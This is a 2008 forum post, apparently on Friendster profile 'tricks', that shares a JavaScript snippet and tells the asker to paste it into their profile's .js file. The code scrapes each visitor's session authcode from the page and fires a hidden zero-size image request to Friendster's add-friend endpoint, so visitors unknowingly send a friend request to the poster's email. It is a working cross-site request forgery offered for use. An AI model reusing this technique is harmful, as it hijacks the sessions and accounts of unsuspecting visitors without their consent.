[quote][b]karencute4 wrote: [/b] where to put this code?js file only?how about css injected?sorry...kinda new with the tricks...[/quote]
change the bold part of the codes of ur own friendster e mail add..
put on ur .js file
save it..ur done
no need 2 add codes on ur css files
thanks 2 aftermath 4 sharing this codes...
[quote]var afaimg = document.createElement('span');
afaimg.id = "addme";
document.getElementsByTagName('head')[0].appendChild(afaimg);
function afa() {
var eadd = "[b]testing@domain.com[/b]";
var k = document.getElementById("controlPanelButtons").innerHTML;
var a = k.slice(k.indexOf("authcode="));
var m = a.slice(9,39);
document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />";
}
if (!attachOnLoadHandler(function() { afa();})) window.onload = function() { afa();};[/quote]
Last edited by mabuhay (2008-05-03 08:12:00)